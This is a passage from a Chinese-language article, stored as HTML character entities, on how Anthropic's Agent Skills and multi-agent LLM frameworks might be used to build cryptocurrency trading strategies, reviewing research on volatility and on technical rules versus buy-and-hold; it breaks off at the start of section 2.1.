&#x4EBA;&#x5DE5;&#x667A;&#x80FD;&#x7684;&#x6700;&#x65B0;&#x8FDB;&#x5C55;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x5927;&#x578B;&#x8BED;&#x8A00;&#x6A21;&#x578B;&#xFF08;LLMs&#xFF09;&#x548C;&#x591A;&#x4EE3;&#x7406;&#x7CFB;&#x7EDF;&#xFF0C;&#x6709;&#x671B;&#x901A;&#x8FC7;&#x7ED3;&#x5408;&#x7279;&#x5B9A;&#x9886;&#x57DF;&#x7684;&#x77E5;&#x8BC6;&#x548C;&#x81EA;&#x52A8;&#x5316;&#x51B3;&#x7B56;&#x6765;&#x589E;&#x5F3A;&#x4EA4;&#x6613;<a href="https://arxiv.org/html/2407.18334v1?ref=defiplot.com#:~:text=trading%20strategies,1">[3]</a><a href="https://arxiv.org/abs/2306.06031?ref=defiplot.com#:~:text=approach%2C%20providing%20researchers%20and%20practitioners,URL%20and%20this%20https%20URL">[4]</a>. </p><p>&#x672C;&#x6587;&#x4ECB;&#x7ECD;&#x4E86;<strong>&#x4EE3;&#x7406;&#x6280;&#x80FD;</strong>&#x7684;&#x6982;&#x5FF5;&#x2014;&#x2014;&#x6A21;&#x5757;&#x5316;&#x3001;&#x53EF;&#x5171;&#x4EAB;&#x7684;&#x6307;&#x4EE4;&#x548C;&#x4EE3;&#x7801;&#x5305;&#xFF0C;&#x65E8;&#x5728;&#x8D4B;&#x4E88;AI&#x4EE3;&#x7406;&#x4E13;&#x4E1A;&#x80FD;&#x529B;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=This%20led%20us%20to%20create,agents%20that%20fit%20your%20needs">[5]</a> &#x2014;&#x2014;&#x5E76;&#x63A2;&#x8BA8;&#x8FD9;&#x4E9B;&#x6280;&#x80FD;&#x5982;&#x4F55;&#x589E;&#x5F3A;&#x81EA;&#x52A8;&#x5316;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3002;&#x6211;&#x4EEC;&#x9996;&#x5148;&#x56DE;&#x987E;&#x4E86;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x7684;&#x56F0;&#x96BE;&#x548C;&#x5148;&#x524D;&#x7684;&#x673A;&#x5668;&#x5B66;&#x4E60;&#x65B9;&#x6CD5;&#xFF0C;&#x6307;&#x51FA;&#x4F20;&#x7EDF;&#x6280;&#x672F;&#x89C4;&#x5219;&#x7684;&#x6DF7;&#x5408;&#x6210;&#x529F;<a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a> &#x548C;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x6A21;&#x578B;&#x7684;&#x6709;&#x5E0C;&#x671B;&#x7684;&#x7ED3;&#x679C;<a href="https://www.sciencedirect.com/science/article/pii/S0957417423023084?ref=defiplot.com#:~:text=Algorithmic%20trading%20enables%20the%20execution,a%20bull%2C%20bear%20and%20flat">[6]</a><a href="https://link.springer.com/article/10.1007/s44163-025-00519-y?ref=defiplot.com#:~:text=R,driven%20cryptocurrency%20trading%20decisions">[7]</a>. &#x7136;&#x540E;&#x6211;&#x4EEC;&#x89E3;&#x91CA;&#x4E86;Anthropic&#x5B9A;&#x4E49;&#x7684;Agent Skills&#xFF1A;&#x7ED3;&#x6784;&#x5316;&#x7684;&#x6587;&#x4EF6;&#x5939;&#xFF0C;&#x5305;&#x542B;&#x5143;&#x6570;&#x636E;&#x3001;&#x6307;&#x5357;&#x548C;&#x53EF;&#x6267;&#x884C;&#x5DE5;&#x5177;&#xFF0C;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x5728;&#x9700;&#x8981;&#x65F6;&#x52A8;&#x6001;&#x52A0;&#x8F7D;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a><a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. </p><p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x63D0;&#x51FA;&#x4E86;&#x4E00;&#x4E2A; <em>Crypto Trading Skill</em> &#x53EF;&#x80FD;&#x7684;&#x6784;&#x5EFA;&#x65B9;&#x5F0F;&#x2014;&#x2014;&#x4F8B;&#x5982;&#xFF0C;&#x6346;&#x7ED1;&#x4EA4;&#x6613;&#x542F;&#x53D1;&#x6CD5;&#x3001;Python &#x56DE;&#x6D4B;&#x811A;&#x672C;&#x3001;&#x5E02;&#x573A; API &#x548C;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x89C4;&#x5219;&#x2014;&#x2014;&#x8FD9;&#x6837;&#x4EE3;&#x7406;&#x5C31;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x5B83;&#x4EEC;&#x6765;&#x751F;&#x6210;&#x548C;&#x8BC4;&#x4F30;&#x7B56;&#x7565;&#x3002;&#x6211;&#x4EEC;&#x7528;&#x4E00;&#x4E2A;&#x5047;&#x8BBE;&#x7684;&#x591A;&#x4EE3;&#x7406;&#x6846;&#x67B6;&#xFF08;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF09;&#x6765;&#x8BF4;&#x660E;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x5728;&#x8BE5;&#x6846;&#x67B6;&#x4E2D;&#xFF0C;&#x4E13;&#x95E8;&#x7684;&#x4EE3;&#x7406;&#xFF08;&#x4F8B;&#x5982;&#x57FA;&#x672C;&#x9762;&#x5206;&#x6790;&#x5E08;&#x3001;&#x6280;&#x672F;&#x5206;&#x6790;&#x5E08;&#x3001;&#x98CE;&#x9669;&#x8BC4;&#x4F30;&#x5E08;&#xFF09;&#x5404;&#x81EA;&#x4F7F;&#x7528;&#x76F8;&#x5173;&#x7684;&#x6280;&#x80FD;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a><a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>. &#x5B9E;&#x8BC1;&#x548C;&#x7406;&#x8BBA;&#x652F;&#x6301;&#x8868;&#x660E;&#x8FD9;&#x79CD;&#x6A21;&#x5757;&#x5316;&#x4E13;&#x4E1A;&#x5316;&#x53EF;&#x4EE5;&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#xFF1A;&#x4F8B;&#x5982;&#xFF0C;<strong>TradingAgents</strong> &#x7CFB;&#x7EDF;&#x4F7F;&#x7528;&#x591A;&#x4E2A; LLM &#x9A71;&#x52A8;&#x7684;&#x4E13;&#x5BB6;&#x6765;&#x63D0;&#x9AD8;&#x57FA;&#x51C6;&#x6A21;&#x578B;&#x7684;&#x56DE;&#x62A5;&#x7387;&#x548C;&#x590F;&#x666E;&#x6BD4;&#x7387;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a>&#xFF0C;&#x5E76;&#x4E14;&#x6700;&#x8FD1;&#x591A;&#x4EE3;&#x7406; LLM &#x6846;&#x67B6;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x4EFB;&#x52A1;&#x4E2D;&#x8D85;&#x8FC7;&#x4E86;&#x5355;&#x4EE3;&#x7406;&#x57FA;&#x7EBF;<a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>. &#x6700;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x8BA8;&#x8BBA;&#x4E86;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x7684;&#x597D;&#x5904;&#xFF08;&#x77E5;&#x8BC6;&#x7684;&#x53EF;&#x6269;&#x5C55;&#x6027;&#x3001;&#x6309;&#x9700;&#x4E0A;&#x4E0B;&#x6587;&#x3001;&#x53EF;&#x91CD;&#x7528;&#x4EE3;&#x7801;&#xFF09;&#x548C;&#x6311;&#x6218;&#xFF08;&#x6570;&#x636E;&#x8D28;&#x91CF;&#x3001;&#x8FC7;&#x62DF;&#x5408;&#x3001;&#x5B89;&#x5168;&#xFF09;<a href="https://arxiv.org/abs/2209.05559?ref=defiplot.com#:~:text=,Finally">[12]</a><a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=been%20successful%20in%20increasing%20profit,risk%20trading">[13]</a>. &#x6211;&#x4EEC;&#x5F97;&#x51FA;&#x7ED3;&#x8BBA;&#xFF0C;Agent Skills &#x4E3A;&#x5C06;&#x7A0B;&#x5E8F;&#x5316;&#x4EA4;&#x6613;&#x77E5;&#x8BC6;&#x7F16;&#x7801;&#x5230; AI &#x4EE3;&#x7406;&#x4E2D;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x6709;&#x524D;&#x666F;&#x7684;&#x8303;&#x5F0F;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x5BFC;&#x81F4;&#x66F4;&#x7A33;&#x5065;&#x548C;&#x76C8;&#x5229;&#x7684;&#x81EA;&#x52A8;&#x5316;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3002;</p><h2 id="1%E3%80%81%E5%BC%95%E8%A8%80">1&#x3001;&#x5F15;&#x8A00;</h2><p>&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x8FC5;&#x901F;&#x589E;&#x957F;&#xFF0C;&#x4F46;&#x4ECD;&#x5145;&#x6EE1;&#x98CE;&#x9669;&#x548C;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x6027;&#x3002;&#x50CF;&#x6BD4;&#x7279;&#x5E01;&#x8FD9;&#x6837;&#x7684;&#x5E02;&#x573A;&#x5728;&#x5168;&#x7403;&#x4EA4;&#x6613;&#x6240;&#x5168;&#x5929;&#x5019;&#x4EA4;&#x6613;&#xFF0C;&#x5E76;&#x8868;&#x73B0;&#x51FA;&#x6781;&#x9AD8;&#x7684;&#x6CE2;&#x52A8;&#x6027;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Cryptocurrency%20assets%20are%20traded%20in,29">[1]</a>. &#x4F8B;&#x5982;&#xFF0C;&#x5355;&#x4E2A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EF7;&#x683C;&#x53EF;&#x80FD;&#x5728;&#x4E00;&#x4E2A;&#x4EA4;&#x6613;&#x65E5;&#x5185;&#x6CE2;&#x52A8; 10-50%&#xFF0C;&#x65E2;&#x521B;&#x9020;&#x4E86;&#x9AD8;&#x56DE;&#x62A5;&#x7684;&#x673A;&#x4F1A;&#xFF0C;&#x4E5F;&#x5E26;&#x6765;&#x4E86;&#x6025;&#x5267;&#x635F;&#x5931;&#x7684;&#x5371;&#x9669;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Cryptocurrency%20assets%20are%20traded%20in,29">[1]</a><a href="https://arxiv.org/html/2407.18334v1?ref=defiplot.com#:~:text=volatility%20of%20these%20digital%20assets%2C,1">[14]</a>. &#x4F20;&#x7EDF;&#x7684;&#x4EA4;&#x6613;&#x65B9;&#x6CD5;&#x5728;&#x8FD9;&#x4E2A;&#x73AF;&#x5883;&#x4E2D;&#x5E38;&#x5E38;&#x96BE;&#x4EE5;&#x5E94;&#x5BF9;&#xFF1A;&#x7814;&#x7A76;&#x8868;&#x660E;&#xFF0C;&#x5E94;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7684;&#x7B80;&#x5355;&#x6280;&#x672F;&#x4EA4;&#x6613;&#x89C4;&#x5219;&#x901A;&#x5E38;&#x65E0;&#x6CD5;&#x8D85;&#x8D8A;&#x4E70;&#x5165;&#x5E76;&#x6301;&#x6709;&#x7684;&#x7B56;&#x7565;<a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a>. &#x5373;&#x4F7F;&#x7B97;&#x6CD5;&#x7B56;&#x7565;&#x5728;&#x56DE;&#x6D4B;&#x4E2D;&#x80FD;&#x591F;&#x51FB;&#x8D25;&#x57FA;&#x51C6;&#xFF0C;&#x4EA4;&#x6613;&#x6210;&#x672C;&#x6216;&#x6570;&#x636E;&#x7AA5;&#x63A2;&#x4E5F;&#x53EF;&#x80FD;&#x62B5;&#x6D88;&#x6536;&#x76CA;<a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC7959592/?ref=defiplot.com#:~:text=buy%20and%20hold%20,only%20two%20strategies%20are%20profitable">[15]</a><a href="https://arxiv.org/abs/2209.05559?ref=defiplot.com#:~:text=,Finally">[12]</a>. &#x8FD9;&#x4E2A;&#x5177;&#x6709;&#x6311;&#x6218;&#x6027;&#x7684;&#x73AF;&#x5883;&#x4FC3;&#x4F7F;&#x63A2;&#x7D22;&#x5148;&#x8FDB;&#x7684;AI&#x6280;&#x672F;&#x3002;</p><p>&#x8FD1;&#x5E74;&#x6765;&#xFF0C;&#x5229;&#x7528;&#x673A;&#x5668;&#x5B66;&#x4E60;&#x548C;&#x4EBA;&#x5DE5;&#x667A;&#x80FD;&#x8FDB;&#x884C;&#x91D1;&#x878D;&#x4EA4;&#x6613;&#x7684;&#x5174;&#x8DA3;&#x663E;&#x8457;&#x589E;&#x52A0;<a href="https://arxiv.org/html/2407.18334v1?ref=defiplot.com#:~:text=volatility%20of%20these%20digital%20assets%2C,1">[14]</a><a href="https://link.springer.com/article/10.1007/s44163-025-00519-y?ref=defiplot.com#:~:text=R,driven%20cryptocurrency%20trading%20decisions">[7]</a>. &#x5927;&#x578B;&#x8BED;&#x8A00;&#x6A21;&#x578B;&#xFF08;LLMs&#xFF09;&#x548C;&#x591A;&#x6A21;&#x6001;AI&#x53EF;&#x4EE5;&#x5438;&#x6536;&#x5927;&#x91CF;&#x6587;&#x672C;&#x548C;&#x6570;&#x503C;&#x6570;&#x636E;&#xFF0C;&#x4ECE;&#x65B0;&#x95FB;&#x548C;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x5230;&#x5386;&#x53F2;&#x4EF7;&#x683C;&#x56FE;&#x8868;&#xFF0C;&#x53D1;&#x73B0;&#x4F20;&#x7EDF;&#x65B9;&#x6CD5;&#x53EF;&#x80FD;&#x9519;&#x8FC7;&#x7684;&#x6A21;&#x5F0F;<a href="https://arxiv.org/abs/2412.19245?ref=defiplot.com#:~:text=,In%20contrast%2C%20the%20Loughran">[16]</a><a href="https://arxiv.org/abs/1612.01277?ref=defiplot.com#:~:text=network%20is%20trained%20with%200,to%20any%20other%20financial%20markets">[17]</a>. &#x7136;&#x800C;&#xFF0C;LLMs&#x672C;&#x8EAB;&#x5E76;&#x4E0D;&#x662F;&#x4E07;&#x80FD;&#x7684;&#xFF1A;&#x6B63;&#x5982;Anthropic&#x6240;&#x6307;&#x51FA;&#x7684;&#xFF0C;&#x201C;Claude&#x5F88;&#x5F3A;&#x5927;&#xFF0C;&#x4F46;&#x771F;&#x6B63;&#x7684;&#x4EFB;&#x52A1;&#x9700;&#x8981;&#x7A0B;&#x5E8F;&#x77E5;&#x8BC6;&#x548C;&#x7EC4;&#x7EC7;&#x80CC;&#x666F;&#x201D;&#x2014;&#x2014;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x590D;&#x6742;&#x7684;&#x4EFB;&#x52A1;&#x901A;&#x5E38;&#x9700;&#x8981;&#x8D85;&#x51FA;&#x6A21;&#x578B;&#x4E00;&#x822C;&#x77E5;&#x8BC6;&#x7684;&#x7ED3;&#x6784;&#x5316;&#x3001;&#x5206;&#x6B65;&#x6307;&#x5BFC;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=This%20led%20us%20to%20create,agents%20that%20fit%20your%20needs">[5]</a>. &#x8FD9;&#x79CD;&#x77DB;&#x76FE;&#x5BFC;&#x81F4;&#x4E86;<em>Agent Skills</em>&#x7684;&#x5F00;&#x53D1;&#xFF0C;&#x8FD9;&#x662F;&#x5C06;&#x7279;&#x5B9A;&#x9886;&#x57DF;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x6CE8;&#x5165;&#x57FA;&#x4E8E;LLM&#x7684;&#x4EE3;&#x7406;&#x7684;&#x65B0;&#x8303;&#x5F0F;&#x3002;</p><p><strong>Agent Skills</strong> &#x7531; Anthropic &#x5B9A;&#x4E49;&#x4E3A;&#x201C;&#x7528;&#x4E8E;&#x6267;&#x884C;&#x7279;&#x5B9A;&#x4EFB;&#x52A1;&#x7684;&#x6307;&#x4EE4;&#x3001;&#x811A;&#x672C;&#x548C;&#x8D44;&#x6E90;&#x7684;&#x7EC4;&#x7EC7;&#x6587;&#x4EF6;&#x5939;&#x201D;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=This%20led%20us%20to%20create,agents%20that%20fit%20your%20needs">[5]</a>. &#x672C;&#x8D28;&#x4E0A;&#xFF0C;&#x6280;&#x80FD;&#x5C31;&#x50CF;&#x7279;&#x5B9A;&#x4EFB;&#x52A1;&#x7684;&#x8FF7;&#x4F60;&#x7A0B;&#x5E8F;&#x6216;&#x624B;&#x518C;&#xFF0C;AI &#x4EE3;&#x7406;&#x53EA;&#x5728;&#x76F8;&#x5173;&#x65F6;&#x8BBF;&#x95EE;&#x3002;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x5305;&#x542B;&#x4EBA;&#x5DE5;&#x7F16;&#x5199;&#x7684;&#x6307;&#x4EE4;&#xFF08;&#x4F8B;&#x5982;&#x4EA4;&#x6613;&#x542F;&#x53D1;&#x6CD5;&#xFF09;&#x3001;&#x4EE3;&#x7801;&#x6A21;&#x5757;&#xFF08;&#x4F8B;&#x5982;&#x6570;&#x636E;&#x5206;&#x6790;&#x811A;&#x672C;&#xFF09;&#xFF0C;&#x6216;&#x5916;&#x90E8;&#x5DE5;&#x5177;&#x7684;&#x94FE;&#x63A5;&#xFF08;&#x4F8B;&#x5982;&#x5E02;&#x573A;&#x6570;&#x636E;API&#xFF09;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x5F53;&#x4EE3;&#x7406;&#x7684;&#x4EFB;&#x52A1;&#x4E0E;&#x6280;&#x80FD;&#x7684;&#x5143;&#x6570;&#x636E;&#x5339;&#x914D;&#x65F6;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x6309;&#x9700;&#x52A0;&#x8F7D;&#x6280;&#x80FD;&#x7684;&#x4E0A;&#x4E0B;&#x6587;&#x548C;&#x5DE5;&#x5177;&#x3002;&#x8FD9;&#x79CD;&#x201C;&#x6E10;&#x8FDB;&#x62AB;&#x9732;&#x201D;&#x65B9;&#x6CD5;&#x8BA9;&#x4EE3;&#x7406;&#x5904;&#x7406;&#x6BD4;&#x4E00;&#x6B21;&#x63D0;&#x793A;&#x4E2D;&#x6240;&#x80FD;&#x5BB9;&#x7EB3;&#x7684;&#x4FE1;&#x606F;&#x66F4;&#x591A;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a>.</p><p>&#x5728;&#x672C;&#x6587;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x63A2;&#x8BA8;&#x4E86;&#x8FD9;&#x79CD; Agent Skills &#x5982;&#x4F55;&#x5E94;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x3002;&#x6211;&#x4EEC;&#x56DE;&#x987E;&#x4E86;&#x76F8;&#x5173;&#x7684; AI &#x4EA4;&#x6613;&#x7814;&#x7A76;&#xFF0C;&#x7136;&#x540E;&#x8BE6;&#x7EC6;&#x8BF4;&#x660E;&#x4E86; <strong>Crypto Trading Skill</strong> &#x53EF;&#x80FD;&#x7684;&#x7ED3;&#x6784;&#x548C;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#x3002;&#x6211;&#x4EEC;&#x501F;&#x9274;&#x4E86;&#x6700;&#x8FD1;&#x7684;&#x591A;&#x4EE3;&#x7406; AI &#x6846;&#x67B6;&#x7528;&#x4E8E;&#x91D1;&#x878D;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a><a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>&#xFF0C;&#x4EE5;&#x53CA; anthopic &#x7684;&#x6587;&#x6863;&#xFF0C;&#x8BA4;&#x4E3A;&#x57FA;&#x4E8E;&#x6280;&#x80FD;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x7EFC;&#x5408;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#xFF08;&#x6280;&#x672F;&#x5206;&#x6790;&#x3001;&#x98CE;&#x9669;&#x89C4;&#x5219;&#x3001;&#x5B9E;&#x65F6;&#x6570;&#x636E;&#xFF09;&#x6765;&#x5236;&#x5B9A;&#x9AD8;&#x5229;&#x6DA6;&#x7684;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3002;&#x6211;&#x4EEC;&#x8FD8;&#x8BA8;&#x8BBA;&#x4E86;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x7684;&#x5B9E;&#x65BD;&#x95EE;&#x9898;&#x548C;&#x6F5C;&#x5728;&#x9677;&#x9631;&#x3002;</p><h2 id="2%E3%80%81%E8%83%8C%E6%99%AF%EF%BC%9A%E5%8A%A0%E5%AF%86%E8%B4%A7%E5%B8%81%E4%B8%AD%E7%9A%84-ai-%E5%92%8C%E7%AE%97%E6%B3%95%E4%BA%A4%E6%98%93">2&#x3001;&#x80CC;&#x666F;&#xFF1A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4E2D;&#x7684; AI &#x548C;&#x7B97;&#x6CD5;&#x4EA4;&#x6613;</h2><p>&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E26;&#x6765;&#x4E86;&#x72EC;&#x7279;&#x7684;&#x4EA4;&#x6613;&#x6311;&#x6218;&#x3002;&#x4E0E;&#x80A1;&#x7968;&#x6216;&#x5546;&#x54C1;&#x4E0D;&#x540C;&#xFF0C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x6CA1;&#x6709;&#x4E2D;&#x592E;&#x4EA4;&#x6613;&#x6240;&#x6216;&#x76D1;&#x7BA1;&#x673A;&#x6784;&#xFF0C;&#x5168;&#x5929;&#x5F00;&#x653E;&#xFF0C;&#x8FDB;&#x5165;&#x95E8;&#x69DB;&#x76F8;&#x5BF9;&#x8F83;&#x4F4E;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Cryptocurrency%20assets%20are%20traded%20in,29">[1]</a><a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a>. &#x5176;&#x6CE2;&#x52A8;&#x6027;&#x65E2;&#x662F;&#x8BC5;&#x5492;&#x4E5F;&#x662F;&#x795D;&#x798F;&#xFF1A;&#x867D;&#x7136;&#x4EF7;&#x683C;&#x6CE2;&#x52A8;&#x521B;&#x9020;&#x4E86;&#x83B7;&#x5229;&#x673A;&#x4F1A;&#xFF0C;&#x4F46;&#x4E5F;&#x653E;&#x5927;&#x4E86;&#x98CE;&#x9669;&#x3002;&#x5982; Kochliaridis &#x7B49;&#x4EBA;&#x6240;&#x8FF0;&#xFF0C;&#x201C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x2026;&#x2026;&#x4EE5;&#x5DE8;&#x5927;&#x7684;&#x6CE2;&#x52A8;&#x6027;&#x4E3A;&#x7279;&#x5F81;&#x201D;&#xFF0C;&#x8FD9;&#x53EF;&#x80FD;&#x5E26;&#x6765;&#x201C;&#x5DE8;&#x5927;&#x7684;&#x8D5A;&#x94B1;&#x673A;&#x4F1A;&#xFF0C;&#x4F46;&#x4E5F;&#x4F34;&#x968F;&#x7740;&#x66F4;&#x9AD8;&#x7684;&#x98CE;&#x9669;&#x201D;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Cryptocurrency%20assets%20are%20traded%20in,29">[1]</a>. &#x8FD9;&#x79CD;&#x4E0D;&#x7A33;&#x5B9A;&#x73AF;&#x5883;&#x610F;&#x5473;&#x7740;&#x4F20;&#x7EDF;&#x6A21;&#x578B;&#xFF08;&#x57FA;&#x4E8E;&#x5747;&#x503C;&#x56DE;&#x5F52;&#x6216;&#x57FA;&#x672C;&#x9762;&#x4F30;&#x503C;&#xFF09;&#x7ECF;&#x5E38;&#x5931;&#x6548;&#xFF0C;&#x751A;&#x81F3;&#x7B80;&#x5355;&#x7684;&#x6280;&#x672F;&#x6307;&#x6807;&#xFF08;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#x3001;&#x52A8;&#x91CF;&#xFF09;&#x7ECF;&#x5E38;&#x7ED9;&#x51FA;&#x9519;&#x8BEF;&#x4FE1;&#x53F7;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=Nowadays%2C%20financial%20markets%20information%20spreads,30">[18]</a><a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a>.</p><p>&#x5B9E;&#x8BC1;&#x7814;&#x7A76;&#x8BC1;&#x5B9E;&#x4E86;&#x8FD9;&#x4E00;&#x70B9;&#x3002;Ahmed &#x7B49;&#x4EBA;&#xFF08;2020&#xFF09;&#x53D1;&#x73B0;&#xFF0C;&#x5927;&#x591A;&#x6570;&#x6807;&#x51C6;&#x6280;&#x672F;&#x4EA4;&#x6613;&#x89C4;&#x5219;&#x5E94;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x65F6;<strong>&#x5E76;&#x4E0D;</strong>&#x4F18;&#x4E8E;&#x88AB;&#x52A8;&#x4E70;&#x5165;&#x5E76;&#x6301;&#x6709;&#x7B56;&#x7565;<a href="https://www.sciencedirect.com/science/article/pii/S1544612320300829?ref=defiplot.com#:~:text=when%20applied%20to%20Dash%20generating,hold%20strategy">[2]</a>. &#x77ED;&#x671F;&#x4EA4;&#x6613;&#x8FDB;&#x4E00;&#x6B65;&#x590D;&#x6742;&#x5316;&#x4E86;&#x95EE;&#x9898;&#xFF1A;Ahmad &#x7B49;&#x4EBA;&#xFF08;2021&#xFF09;&#x89C2;&#x5BDF;&#x5230;&#xFF0C;&#x5C3D;&#x7BA1;&#x8BB8;&#x591A;&#x7B97;&#x6CD5;&#x7B56;&#x7565;&#x5728;&#x6BD4;&#x7279;&#x5E01;&#x4E0A;&#x4F3C;&#x4E4E;&#x51FB;&#x8D25;&#x4E86;&#x4E70;&#x5165;&#x5E76;&#x6301;&#x6709;&#xFF0C;&#x4F46;&#x4E00;&#x65E6;&#x8003;&#x8651;&#x73B0;&#x5B9E;&#x8D39;&#x7528;&#xFF0C;&#x6CA1;&#x6709;&#x4E00;&#x79CD;&#x7B56;&#x7565;&#x5728;15&#x5929;&#x8303;&#x56F4;&#x5185;&#x53EF;&#x9760;&#x76C8;&#x5229;&#xFF0C;&#x53EA;&#x6709;&#x4E24;&#x79CD;&#x5728;30&#x5929;&#x5185;&#x76C8;&#x5229;<a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC7959592/?ref=defiplot.com#:~:text=buy%20and%20hold%20,only%20two%20strategies%20are%20profitable">[15]</a>. &#x603B;&#x4F53;&#x800C;&#x8A00;&#xFF0C;&#x8BBE;&#x8BA1;&#x7A33;&#x5B9A;&#x76C8;&#x5229;&#x7684;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7B56;&#x7565;&#x662F;&#x975E;&#x663E;&#x800C;&#x6613;&#x89C1;&#x7684;&#xFF0C;&#x8FD9;&#x4FC3;&#x4F7F;&#x4E86;&#x80FD;&#x591F;&#x9002;&#x5E94;&#x53D8;&#x5316;&#x6A21;&#x5F0F;&#x7684;&#x81EA;&#x52A8;&#x5316;&#x65B9;&#x6CD5;&#x3002;</p><h3 id="21-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E4%B8%8E%E7%AE%97%E6%B3%95%E4%BA%A4%E6%98%93">2.1 